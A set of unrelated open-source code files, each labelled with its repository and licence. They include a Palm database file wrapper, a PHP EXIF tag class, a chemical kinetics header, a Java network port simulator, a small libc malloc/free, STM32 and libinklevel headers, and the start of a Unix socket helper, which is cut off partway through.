/* * SiEd-Dana - A text editor optimized for the AlphaSmart Dana. * Copyright (C) 2016 Reg Tiangha * Contact: reg@reginaldtiangha.com * * Portions of SiEd-Dana are based off the original SiEd project, * Copyright (C) 2003-2005 Benjamin Roe * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 2 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "pdb_file_interface.h" #include "error.h" #include "file_plugin.h" pdb_SiFile::pdb_SiFile(const Char * name,const Char * location,const UInt16 volRefNum):SiFile(name,location,volRefNum) { #ifdef EN_LOG log_entry("pdb_SiFile ctor"); #endif } pdb_SiFile::pdb_SiFile(const Char * name,const Char * location,const UInt16 volRefNum,const UInt32 size):SiFile(name,location,volRefNum,size) {} pdb_SiFile::~pdb_SiFile() { close(); } Boolean pdb_SiFile::create_database(const UInt32 size) { return false; } void pdb_SiFile::startup() { #ifdef EN_LOG log_entry("pdb_SiFile startup"); #endif m_curr_handle=NULL; m_curr_locked=NULL; m_changed=false; m_open_ref=NULL; } void pdb_SiFile::close() { #ifdef DEBUG /* if(m_id!=NULL) { UInt32 temp_size; DmDatabaseSize(THE_CARD,m_id,NULL,NULL,&temp_size); Char buff[100]; StrPrintF(buff,"Actual size=%lu, m_file_size=%lu",temp_size,m_file_size); ErrFatalDisplayIf(m_file_size!=temp_size,buff); }*/ #endif if(m_trans!=NULL) m_trans->finalise(); unlock(); if(m_open_ref!=NULL) { DmCloseDatabase(m_open_ref); m_open_ref=NULL; } m_file_open=false; } Boolean pdb_SiFile::do_open() { m_id=DmFindDatabase(THE_CARD,m_name); if(m_id==0) { m_open_ref=NULL; return false; } m_open_ref=DmOpenDatabase(THE_CARD,m_id,dmModeReadWrite); if(m_open_ref!=NULL) { m_file_open=true; DmDatabaseSize(THE_CARD,m_id,NULL,NULL,&m_file_size); num_records=DmNumRecords(m_open_ref); UInt16 attr; DmDatabaseInfo(THE_CARD,m_id,NULL,&attr,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL); //check for read only database if(attr&dmHdrAttrReadOnly) m_is_read_only=true; return true; } else { m_file_open=false; return false; } } void pdb_SiFile::unlock() { if(m_curr_locked!=NULL) { MemHandleUnlock(m_curr_handle); m_curr_locked=NULL; } if(m_curr_handle!=NULL) { DmReleaseRecord(m_open_ref,curr_record_index,m_changed); m_curr_handle=NULL; } } void pdb_SiFile::rename(Char * new_name) { #ifdef EN_LOG log_entry("pdb_SiFile::renaming file"); log_entry(new_name); #endif #ifdef DEBUG ErrFatalDisplayIf(m_id==NULL,"Renaming non-existent file"); #endif Err err=DmSetDatabaseInfo(THE_CARD,m_id,new_name,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL); if(err!=errNone) { if(display_warnings) DisplayError(UNABLE_TO_SAVE,new_name); } else { MemPtrFree(m_name); m_name=(Char*)MemPtrNew(StrLen(new_name)+1); StrCopy(m_name,new_name); } } Boolean pdb_SiFile::add_record(const UInt16 size) { #ifdef EN_LOG log_entry_number("PDB add_record",size); #endif if(!m_file_open) do_open(); UInt16 recordIndex=num_records; m_curr_handle=DmNewRecord(m_open_ref,&recordIndex,size); if(m_curr_handle==NULL) { close(); if(display_warnings) DisplayError(UNABLE_TO_SAVE,"Not enough space to save file"); return false; } DmReleaseRecord(m_open_ref,recordIndex,false); m_curr_handle=NULL; m_file_size+=size; ++num_records; return true; } UInt32 pdb_SiFile::get_mod_time() { //return the modication time of the file //in seconds since 1904 UInt32 create_time=0; if(m_file_open) { DmDatabaseInfo(THE_CARD,m_id,NULL,NULL,NULL,&create_time,NULL,NULL,NULL,NULL,NULL,NULL,NULL); return create_time; } return create_time; } void pdb_SiFile::delete_file() { #ifdef DEBUG ErrFatalDisplayIf(m_id==NULL,"Deleting non-existent file"); #endif close(); if(m_id!=0) { DmDeleteDatabase(THE_CARD,m_id); m_id=NULL; } }
rtiangha/SiEd-Dana
src/pdb_file_interface.cc
C++
gpl-2.0
4,464
<?php /* * This file is part of PHPExifTool. * * (c) 2012 Romain Neutron <imprec@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPExiftool\Driver\Tag\Qualcomm; use PHPExiftool\Driver\AbstractTag; class R2D65BlueCtbl25 extends AbstractTag { protected $Id = 'r2_d65_blue_ctbl[25]'; protected $Name = 'R2D65BlueCtbl25'; protected $FullName = 'Qualcomm::Main'; protected $GroupName = 'Qualcomm'; protected $g0 = 'MakerNotes'; protected $g1 = 'Qualcomm'; protected $g2 = 'Camera'; protected $Type = '?'; protected $Writable = false; protected $Description = 'R2 D65 Blue Ctbl 25'; protected $flag_Permanent = true; }
Droces/casabio
vendor/phpexiftool/phpexiftool/lib/PHPExiftool/Driver/Tag/Qualcomm/R2D65BlueCtbl25.php
PHP
gpl-2.0
784
// -*- C++ -*- // Class declarations for chemical species. // Copyright (C) 2004 David Dooling <banjo@users.sourceforge.net> // // This file is part of CHIMP. // // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU General Public License as // published by the Free Software Foundation; either version 2 of the // License, or (at your option) any later version. // // This program is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA // 02111-1307, USA. // #ifndef CH_SPECIES_H #define CH_SPECIES_H 1 #include <map> #include <set> #include <string> #include <vector> #include "except.h" #include "quantity.h" #include "unique.h" // set namespace to avoid possible clashes CH_BEGIN_NAMESPACE // molecules (species) class species { public: // set up containers and iterators for species typedef CH_STD::vector<species*> seq; typedef seq::iterator seq_iter; typedef seq::const_iterator seq_citer; // a map of names and species pointers to aid in determining uniqueness typedef CH_STD::map<CH_STD::string,species*> map; typedef map::iterator map_iter; typedef map::const_iterator map_citer; typedef CH_STD::set<species*> set; typedef set::iterator set_iter; typedef set::const_iterator set_citer; private: CH_STD::string name; // name for the species unsigned int surface_coord; // how many catalytic sites species occupies static unique name_list; // keep track of all species names private: // prevent assignment species& operator=(const species&); // calculate the surface coordination by parsing NAME unsigned int calc_surface_coordination() const; protected: // ctor: copy explicit species(const species& original); public: // ctor: (default) create a unique name, optional surface coordination explicit species(unsigned int surface_coord_ = 0U); // ctor: with name, optional surface coordination, if surface_coord_ < 0, // ctor: parse the string and determine coordination (number of `@') explicit species(const CH_STD::string& name_, int surface_coord_ = 0); // dtor: delete name from list of used names virtual ~species(); // return NAME of species CH_STD::string get_name() const; // return SURFACE_COORD of species unsigned int get_surface_coordination() const; // return string representation of species CH_STD::string stringify() const; }; // end class species // class for a set of spectator species in a reaction class species_set : public species { public: // typedefs typedef CH_STD::vector<species_set*> seq; typedef seq::iterator seq_iter; typedef seq::const_iterator seq_citer; species::set speciess; // set of species private: // prevent copy construction and assignment species_set(const species_set&); species_set& operator=(const species_set&); public: // ctor: set of species is argument species_set(const species::set& speciess_) throw (bad_input); // this // dtor: do nothing (do not own the species pointers) virtual ~species_set(); // return iterator to beginning of set species::set_citer begin() const; // return iterator to end of set species::set_citer end() const; }; // end class species_set // species used for model solution class class model_species : public species { public: // sequence of model_species typedef CH_STD::vector<model_species*> seq; typedef seq::iterator seq_iter; typedef seq::const_iterator seq_citer; private: quantity* amount; // amount of species double derivative; // derivative wrt state variable private: // prevent copy construction and assignment model_species(const model_species&); model_species& operator=(const model_species&); public: // ctor: create from species explicit model_species(const species& original); // dtor: delete quantity* amount virtual ~model_species(); // return current specified quantity of species double get_quantity(quantity::type type = quantity::Econcentration) const throw (bad_type); // quantity::get_quantity() double get_quantity(const CH_STD::string& type) const throw (bad_type); // quantity::get_quantity() // return DERIVATIVE of species double get_derivative() const; // zero all quantities void zero_quantity(); // replace current quantity with the one given void set_quantity(quantity* amount_); // set the specified quantity of the model species, return old value double set_quantity(quantity::type type = quantity::Econcentration, double amount_ = 0.0e0) throw (bad_type, bad_value); // quantity::set_quantity() double set_quantity(const CH_STD::string& type, double amount_ = 0.0e0) throw (bad_type, bad_value); // quantity::set_quantity() // increment quantity by given amount, return new amount double add_to_quantity(quantity::type type = quantity::Econcentration, double increment = 0.0e0) throw (bad_type, bad_value); // quantity::add_to_quantity() // set species derivative, return old DERIVATIVE double set_derivative(double derivative_ = 0.0e0); // add INCREMENT to derivative, return DERIVATIVE after increment double add_to_derivative(double increment); }; // end class model_species // mapping of species to model_species typedef CH_STD::map<species*,model_species*> species2model; typedef species2model::iterator species2model_iter; typedef species2model::const_iterator species2model_citer; // species used for network generation class mechanism_species : public species { CH_STD::string formula; // empirical formula CH_STD::string string_code; // string code representation of molecule bool reactive; // states if the species is allowed to react bool reacted; // states if the species has been reacted private: // prevent copy construction and assignment mechanism_species(const mechanism_species&); mechanism_species& operator=(const mechanism_species&); public: // ctor: create from species explicit mechanism_species(const species& original); // dtor: do nothing virtual ~mechanism_species(); // is the species allowed to react? return true if it is bool is_reactive(); // has the species been reacted? return true if it is bool is_reacted(); }; // end class mechanism_species // lumping class class (?!?) // inherit from STL to keep consistent interface class species_class : public CH_STD::vector<model_species*> { CH_STD::string name; // species class name quantity::type amount_type; // which type of quantity to lump static unique name_list; // make sure names are unique private: // prevent copy construction and assignment species_class(const species_class&); species_class& operator=(const species_class&); public: // ctor: (default) create unique name and set type explicit species_class(quantity::type type = quantity::Econcentration); // ctor: with name provided explicit species_class(const CH_STD::string& name_, quantity::type type = quantity::Econcentration); // dtor: delete name from list of used names ~species_class(); // return name of species class CH_STD::string get_name() const; // return current sum quantity in class lump double get_quantity() const throw (bad_type); // quantity::get_quantity() // return current sum derivative in class lump double get_derivative() const; }; // end class species_class CH_END_NAMESPACE #endif // not CH_SPECIES_H /* $Id: species.h,v 1.1.1.1 2004/11/25 20:24:06 banjo Exp $ */
ddgenome/chimp
src/species.h
C
gpl-2.0
7,792
package device.elements; import java.util.concurrent.LinkedBlockingQueue; import device.Device; import protocols.layer2.DataProtocol; import protocols.layer2.IPv4; import protocols.layer2.MACGenerator; import netdata.Frame; import netdata.packet.IPv4Packet; import netdata.packet.Packet; public abstract class Port extends Thread { private Port oppo = null; //private Connection conn = null; private LinkedBlockingQueue<Frame> recvQueue = null; private LinkedBlockingQueue<Frame> sendQueue = null; private Device parentDevice = null; private String macAdd = null; private IPv4 ip = null; private int speed; //bytes per second or Bps. A frame is considered to be 64 bytes + 20 bytes of overhead. private int bufferSize; private short index; public Port(Device p, int bufferSize, short index){ recvQueue = new LinkedBlockingQueue<Frame>();//bufferSize); sendQueue = new LinkedBlockingQueue<Frame>();//bufferSize); this.bufferSize = bufferSize; this.index = index; parentDevice = p; macAdd = MACGenerator.generateMAC(); speed = 100000; } public void run() { while (!isInterrupted()) { // System.out.println(parentDevice.getDeviceName() + " port" + getIndex() + " send cycle start"); if (!sendQueue.isEmpty()) { if (oppo != null) { oppo.ReceiveFrame(sendQueue.poll()); System.out.println("Frame sent from " + parentDevice.getDeviceName() + " port" + getIndex() + " to " + oppo.getParent().getDeviceName() + " port" + oppo.getIndex()); } else { sendQueue.poll(); // System.out.println("Opposite port is null"); } } // System.out.println(parentDevice.getDeviceName() + " port" + getIndex() + " send cycle over, receive cycle start"); Frame f = null; if (!recvQueue.isEmpty()) { try { f = recvQueue.take(); System.out.println(parentDevice.getDeviceName() + " port" + getIndex() + " receive queue not empty"); } catch (InterruptedException e) {} if (f != null) { if (!f.getDestMAC().equals(macAdd)) { //the frame is not for this frameIsNotForThis(f); } else { //the frame is for this frameIsForThis(f); } } } // System.out.println(parentDevice.getDeviceName() + " port" + getIndex() + " receive cycle over"); try { sleep(0, sleepTime()); } catch (InterruptedException e) {} } } public abstract void frameIsForThis(Frame f); public abstract void frameIsNotForThis(Frame f); public synchronized void ReceiveFrame(Frame f){ if (recvQueue.size() < bufferSize) { if (recvQueue.offer(f)) { System.out.println("Frame " + f.getEtherType() + " received on " + parentDevice.getDeviceName() + " port" + getIndex()); // frame is dropped } else System.out.println("Frame " + f.getEtherType() + " dropped at port"); } else System.out.println("Frame " + f.getEtherType() + " dropped at port"); } public synchronized void setIPv4(String add, String gateway, String subnet){ this.ip = new IPv4(add, gateway, subnet); } public synchronized boolean setOppo(Port p) { if (!isConnected()) { oppo = p; return true; } return false; } public short getIndex() { return index; } public Device getParent(){ return parentDevice; } public String getMacAdd(){ return macAdd; } public IPv4 getIPv4(){ return ip; } public int getBufferSize(){ return bufferSize; } public Frame sendFrame(String destMac, int etherType, Packet p){ Frame f = new Frame(macAdd, destMac, etherType, p); sendQueue.offer(f); return f; } public void sendFrame(Frame f) { sendQueue.offer(f); } private int sleepTime() { return (int)(((double)(64 + 20) / (double)speed) * 1000 * 1000 * 1000); } // convert to micro then nano public boolean hasAppPacket(int n) { for (Frame f : recvQueue) if (f.getPayload() instanceof IPv4Packet) { if (((IPv4Packet) f.getPayload()).getProtocol() == n) { return true; } } return false; } public Frame getAppFrame(int n) { for (Frame f : recvQueue) if (f.getPayload() instanceof IPv4Packet) { if (((IPv4Packet) f.getPayload()).getProtocol() == n) { recvQueue.remove(f); return f; } } return null; } public Packet getAppPacket(int n) { return getAppFrame(n).getPayload(); } public boolean hasFrame() { return !recvQueue.isEmpty(); } public synchronized Frame PollQueue(){ try { return recvQueue.take(); } catch (InterruptedException e) { /*e.printStackTrace();*/ } return null; } public boolean isConnected(){ return (oppo /*conn*/ != null); } }
frawg/NetFramework
src/device/elements/Port.java
Java
gpl-2.0
4,782
/* * Copyright (c) 2020, 2020, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package com.oracle.svm.core.genscavenge.graal; import org.graalvm.compiler.nodes.gc.CardTableBarrierSet; import org.graalvm.compiler.nodes.memory.OnHeapMemoryAccess.BarrierType; import com.oracle.svm.core.StaticFieldsSupport; import jdk.vm.ci.meta.JavaKind; import jdk.vm.ci.meta.ResolvedJavaField; import jdk.vm.ci.meta.ResolvedJavaType; /** * Static fields in SVM are represented as two arrays in the native image heap: one for Object * fields and one for all primitive fields (see {@link StaticFieldsSupport}). Therefore, we must * emit array write barriers for static fields. */ public class SubstrateCardTableBarrierSet extends CardTableBarrierSet { public SubstrateCardTableBarrierSet(ResolvedJavaType objectArrayType) { super(objectArrayType); } @Override public BarrierType fieldStoreBarrierType(ResolvedJavaField field, JavaKind storageKind) { if (field.isStatic() && storageKind == JavaKind.Object) { return arrayStoreBarrierType(storageKind); } return super.fieldStoreBarrierType(field, storageKind); } }
smarr/Truffle
substratevm/src/com.oracle.svm.core.genscavenge/src/com/oracle/svm/core/genscavenge/graal/SubstrateCardTableBarrierSet.java
Java
gpl-2.0
2,302
/* Copyright (C) 1995,1996 Robert de Bath <rdebath@cix.compulink.co.uk> * This file is part of the Linux-8086 C library and is distributed * under the GNU Library General Public License. * * This is a combined alloca/malloc package. It uses a classic algorithm * and so may be seen to be quite slow compared to more modern routines * with 'nasty' distributions. */ #include "malloc-l.h" /* Start the alloca with just the dumb version of malloc */ void *(*__alloca_alloc) __P((size_t)) = __mini_malloc; /* the free list is a single list of free blocks. __freed_list points to the highest block (highest address) and each block points to the lower block (lower address). last block points to 0 (initial value of _freed_list) */ mem *__freed_list = 0; #ifdef VERBOSE /* NB: Careful here, stdio may use malloc - so we can't */ #include <unistd.h> #include <stdlib.h> #include <string.h> static void pstr __P((char *)); static void phex __P((unsigned)); static void noise __P((char *, mem *)); static void pstr(char *str) { write(2, str, strlen(str)); } static void phex(unsigned val) { char buf[8]; strcpy(buf, "000"); ltoa((long) val, buf + 3, 16); pstr(buf + strlen(buf + 4)); } void __noise(char *y, mem * x) { pstr("Malloc "); phex((unsigned) x); pstr(" sz "); phex(x ? (unsigned) m_size(x) : 0); pstr(" nxt "); phex(x ? (unsigned) m_next(x) : 0); pstr(" is "); pstr(y); pstr("\n"); } #endif /* */ void free(void *ptr) { register mem *top, *chk = (mem *) ptr; if (chk == 0) return; /* free(NULL) - be nice */ chk--; try_this:; top = (mem *) sbrk(0); if (m_add(chk, m_size(chk)) >= top) { noise("FREE brk", chk); brk((void *) ((uchar *) top - m_size(chk))); /* Adding this code allow free to release blocks in any order; * they can still only be allocated from the top of the heap * tho. */ #ifdef __MINI_MALLOC__ if (__alloca_alloc == __mini_malloc && __freed_list) { chk = __freed_list; __freed_list = m_next(__freed_list); goto try_this; } #endif /* */ } else { /* Nope, not sure where this goes, leave it for malloc to deal with */ #ifdef __MINI_MALLOC__ /* check if block is already on free list. if it is, return without doing nothing */ top = __freed_list; while (top) { if (top == chk) return; top = m_next(top); } /* else add it to free list */ if (!__freed_list || chk > __freed_list) { /* null free list or block above free list */ m_next(chk) = __freed_list; __freed_list = chk; } else { /* insert block in free list, ordered by address */ register mem *prev = __freed_list; top = __freed_list; while (top && top > chk) { prev = top; top = m_next(top); } m_next(chk) = top; m_next(prev) = chk; } #else /* */ m_next(chk) = __freed_list; __freed_list = chk; #endif /* */ noise("ADD LIST", chk); } } void *__mini_malloc(size_t size) { register mem *ptr; register unsigned int sz; /* First time round this _might_ be odd, But we won't do that! */ #if 0 sz = (unsigned int) sbrk(0); if (sz & (sizeof(struct mem_cell) - 1)) { if (sbrk (sizeof(struct mem_cell) - (sz & (sizeof(struct mem_cell) - 1))) < 0) goto nomem; } #endif /* */ if (size == 0) return 0; /* Minor oops here, sbrk has a signed argument */ if (size > (((unsigned) -1) >> 1) - sizeof(struct mem_cell) * 3) { nomem:errno = ENOMEM; return 0; } size += sizeof(struct mem_cell); /* Round up and leave space for size field */ ptr = (mem *) sbrk(size); if ((int) ptr == -1) return 0; m_size(ptr) = size; noise("CREATE", ptr); return ptr + 1; }
codenewcomer/FUZIX
Library/libs/free.c
C
gpl-2.0
3,646
/** ****************************************************************************** * @file WWDG/WWDG_Example/Inc/main.h * @author MCD Application Team * @version V1.1.0 * @date 26-June-2014 * @brief Header for main.c module. ****************************************************************************** * @attention * * <h2><center>&copy; COPYRIGHT(c) 2014 STMicroelectronics</center></h2> * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of STMicroelectronics nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************** */ /* Define to prevent recursive inclusion -------------------------------------*/ #ifndef __MAIN_H #define __MAIN_H /* Includes ------------------------------------------------------------------*/ #include "stm32f4xx_hal.h" #include "stm324x9i_eval.h" /* Exported types ------------------------------------------------------------*/ /* Exported constants --------------------------------------------------------*/ /* Exported macro ------------------------------------------------------------*/ /* Exported functions ------------------------------------------------------- */ #endif /* __MAIN_H */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
matianfu/stm32f4cube13
Projects/STM324x9I_EVAL/Examples/WWDG/WWDG_Example/Inc/main.h
C
gpl-2.0
2,791
/* config.h. Generated from config.h.in by configure. */ /* config.h.in. Generated from configure.in by autoheader. */ /* enable debugging output */ /* #undef DEBUG */ /* Define to 1 if you have the `alarm' function. */ #define HAVE_ALARM 1 /* Define to 1 if you have the <arpa/inet.h> header file. */ #define HAVE_ARPA_INET_H 1 /* Define to 1 if you have the <arpa/nameser.h> header file. */ #define HAVE_ARPA_NAMESER_H 1 /* Define to 1 if you have the <dlfcn.h> header file. */ #define HAVE_DLFCN_H 1 /* Define to 1 if you have the <fcntl.h> header file. */ #define HAVE_FCNTL_H 1 /* Define to 1 if you have the `ftime' function. */ #define HAVE_FTIME 1 /* Define to 1 if you have the `gethostbyaddr' function. */ #define HAVE_GETHOSTBYADDR 1 /* Define to 1 if you have the `gethostbyname' function. */ #define HAVE_GETHOSTBYNAME 1 /* Define to 1 if you have the `gethostname' function. */ #define HAVE_GETHOSTNAME 1 /* Define to 1 if you have the `getifaddrs' function. */ #if !defined(__ANDROID__) #define HAVE_GETIFADDRS 1 #endif /* Define to 1 if you have the `gettimeofday' function. */ #define HAVE_GETTIMEOFDAY 1 /* Define to 1 if you have the <ieee1284.h> header file. */ #define HAVE_IEEE1284_H 1 /* Define to 1 if you have the <ifaddrs.h> header file. */ #define HAVE_IFADDRS_H 1 /* Define to 1 if you have the `inet_ntoa' function. */ #define HAVE_INET_NTOA 1 /* Define to 1 if you have the <inttypes.h> header file. */ #define HAVE_INTTYPES_H 1 /* Define to 1 if you have the `ieee1284' library (-lieee1284). */ #define HAVE_LIBIEEE1284 1 /* Define to 1 if your system has a GNU libc compatible `malloc' function, and to 0 otherwise. */ #define HAVE_MALLOC 1 /* Define to 1 if you have the <memory.h> header file. */ #define HAVE_MEMORY_H 1 /* Define to 1 if you have the `memset' function. */ #define HAVE_MEMSET 1 /* Define to 1 if you have the <netdb.h> header file. */ #define HAVE_NETDB_H 1 /* Define to 1 if you have the <netinet/in.h> header file. */ #define HAVE_NETINET_IN_H 1 /* Define to 1 if your system has a GNU libc compatible `realloc' function, and to 0 otherwise. */ #define HAVE_REALLOC 1 /* Define to 1 if you have the <resolv.h> header file. */ #define HAVE_RESOLV_H 1 /* Define to 1 if you have the `select' function. */ #define HAVE_SELECT 1 /* Define to 1 if you have the `socket' function. */ #define HAVE_SOCKET 1 /* Define to 1 if you have the <stdint.h> header file. */ #define HAVE_STDINT_H 1 /* Define to 1 if you have the <stdlib.h> header file. */ #define HAVE_STDLIB_H 1 /* Define to 1 if you have the `strchr' function. */ #define HAVE_STRCHR 1 /* Define to 1 if you have the `strdup' function. */ #define HAVE_STRDUP 1 /* Define to 1 if you have the `strerror' function. */ #define HAVE_STRERROR 1 /* Define to 1 if you have the <strings.h> header file. */ #define HAVE_STRINGS_H 1 /* Define to 1 if you have the <string.h> header file. */ #define HAVE_STRING_H 1 /* Define to 1 if you have the `strncasecmp' function. */ #define HAVE_STRNCASECMP 1 /* Define to 1 if you have the `strstr' function. */ #define HAVE_STRSTR 1 /* Define to 1 if you have the <sys/ioctl.h> header file. */ #define HAVE_SYS_IOCTL_H 1 /* Define to 1 if you have the <sys/select.h> header file. */ #define HAVE_SYS_SELECT_H 1 /* Define to 1 if you have the <sys/socket.h> header file. */ #define HAVE_SYS_SOCKET_H 1 /* Define to 1 if you have the <sys/stat.h> header file. */ #define HAVE_SYS_STAT_H 1 /* Define to 1 if you have the <sys/timeb.h> header file. */ #define HAVE_SYS_TIMEB_H 1 /* Define to 1 if you have the <sys/time.h> header file. */ #define HAVE_SYS_TIME_H 1 /* Define to 1 if you have the <sys/types.h> header file. */ #define HAVE_SYS_TYPES_H 1 /* Define to 1 if you have <sys/wait.h> that is POSIX.1 compatible. */ #define HAVE_SYS_WAIT_H 1 /* Define to 1 if you have the <unistd.h> header file. */ #define HAVE_UNISTD_H 1 /* Define to 1 if you have the <wchar.h> header file. */ #define HAVE_WCHAR_H 1 /* Define to 1 if you have the <\> header file. */ /* #undef HAVE__ */ /* HOST OS */ #define HOST_OS LINUX /* Define value for Linux OS */ #define LINUX 1 /* Define to the sub-directory in which libtool stores uninstalled libraries. */ #define LT_OBJDIR ".libs/" /* Define value for OpenSolaris OS */ #define OPENSOLARIS 2 /* Name of package */ #define PACKAGE "libinklevel" /* Define to the address where bug reports for this package should be sent. */ #define PACKAGE_BUGREPORT "" /* Define to the full name of this package. */ #define PACKAGE_NAME "libinklevel" /* Define to the full name and version of this package. */ #define PACKAGE_STRING "libinklevel 0.8.0" /* Define to the one symbol short name of this package. */ #define PACKAGE_TARNAME "libinklevel" /* Define to the version of this package. */ #define PACKAGE_VERSION "0.8.0" /* Define as the return type of signal handlers (`int' or `void'). */ #define RETSIGTYPE void /* Define to the type of arg 1 for `select'. */ #define SELECT_TYPE_ARG1 int /* Define to the type of args 2, 3 and 4 for `select'. */ #define SELECT_TYPE_ARG234 (fd_set *) /* Define to the type of arg 5 for `select'. */ #define SELECT_TYPE_ARG5 (struct timeval *) /* Define to 1 if you have the ANSI C header files. */ #define STDC_HEADERS 1 /* Define to 1 if you can safely include both <sys/time.h> and <time.h>. */ #define TIME_WITH_SYS_TIME 1 /* Version number of package */ #define VERSION "0.8.0" /* Define for Solaris 2.5.1 so the uint32_t typedef from <sys/synch.h>, <pthread.h>, or <semaphore.h> is not used. If the typedef were allowed, the #define below would cause a syntax error. */ /* #undef _UINT32_T */ /* Define for Solaris 2.5.1 so the uint8_t typedef from <sys/synch.h>, <pthread.h>, or <semaphore.h> is not used. If the typedef were allowed, the #define below would cause a syntax error. */ /* #undef _UINT8_T */ /* Define to empty if `const' does not conform to ANSI C. */ /* #undef const */ /* Define to rpl_malloc if the replacement function should be used. */ /* #undef malloc */ /* Define to rpl_realloc if the replacement function should be used. */ /* #undef realloc */ /* Define to `unsigned int' if <sys/types.h> does not define. */ /* #undef size_t */ /* Define to the type of an unsigned integer type of width exactly 16 bits if such a type exists and the standard includes do not define it. */ /* #undef uint16_t */ /* Define to the type of an unsigned integer type of width exactly 32 bits if such a type exists and the standard includes do not define it. */ /* #undef uint32_t */ /* Define to the type of an unsigned integer type of width exactly 8 bits if such a type exists and the standard includes do not define it. */ /* #undef uint8_t */ /* Define to empty if the keyword `volatile' does not work. Warning: valid code using `volatile' can become incorrect without. Disable with care. */ /* #undef volatile */
kangear/libinklevel
config.h
C
gpl-2.0
6,943
/* * Copyright (C) 2006 Giuseppe Torelli - <colossus73@gmail.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301 USA. */ #include "config.h" #ifdef HAVE_SOCKET #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <gtk/gtk.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/un.h> #include "socket.h" #include "window.h" socket_info_t socket_info; /* (Unix domain) socket support; taken from Geany */ static gint socket_fd_close (gint fd) { return close(fd); } static gint socket_fd_connect_unix (const gchar *path) { gint sock; struct sockaddr_un addr; sock = socket(PF_UNIX, SOCK_STREAM, 0); if (sock < 0) { perror("fd_connect_unix(): socket"); return -1; } memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; strncpy(addr.sun_path, path, sizeof(addr.sun_path) - 1); if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { socket_fd_close(sock); return -1; } return sock; } static gint socket_fd_open_unix (const gchar *path) { gint sock; struct sockaddr_un addr; gint val; sock = socket(PF_UNIX, SOCK_STREAM, 0); if (sock < 0) { perror("sock_open_unix(): socket"); return -1; } val = 1; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val)) < 0) { perror("setsockopt"); socket_fd_close(sock); return -1; } memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; strncpy(addr.sun_path, path, sizeof(addr.sun_path) - 1); if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); socket_fd_close(sock); return -1; } if (listen(sock, 1) < 0) { perror("listen"); socket_fd_close(sock); return -1; } return sock; } static gint socket_fd_check_io (gint fd, GIOCondition cond) { struct timeval timeout; fd_set fds; gint flags; timeout.tv_sec = 60; timeout.tv_usec = 0; // checking for non-blocking mode 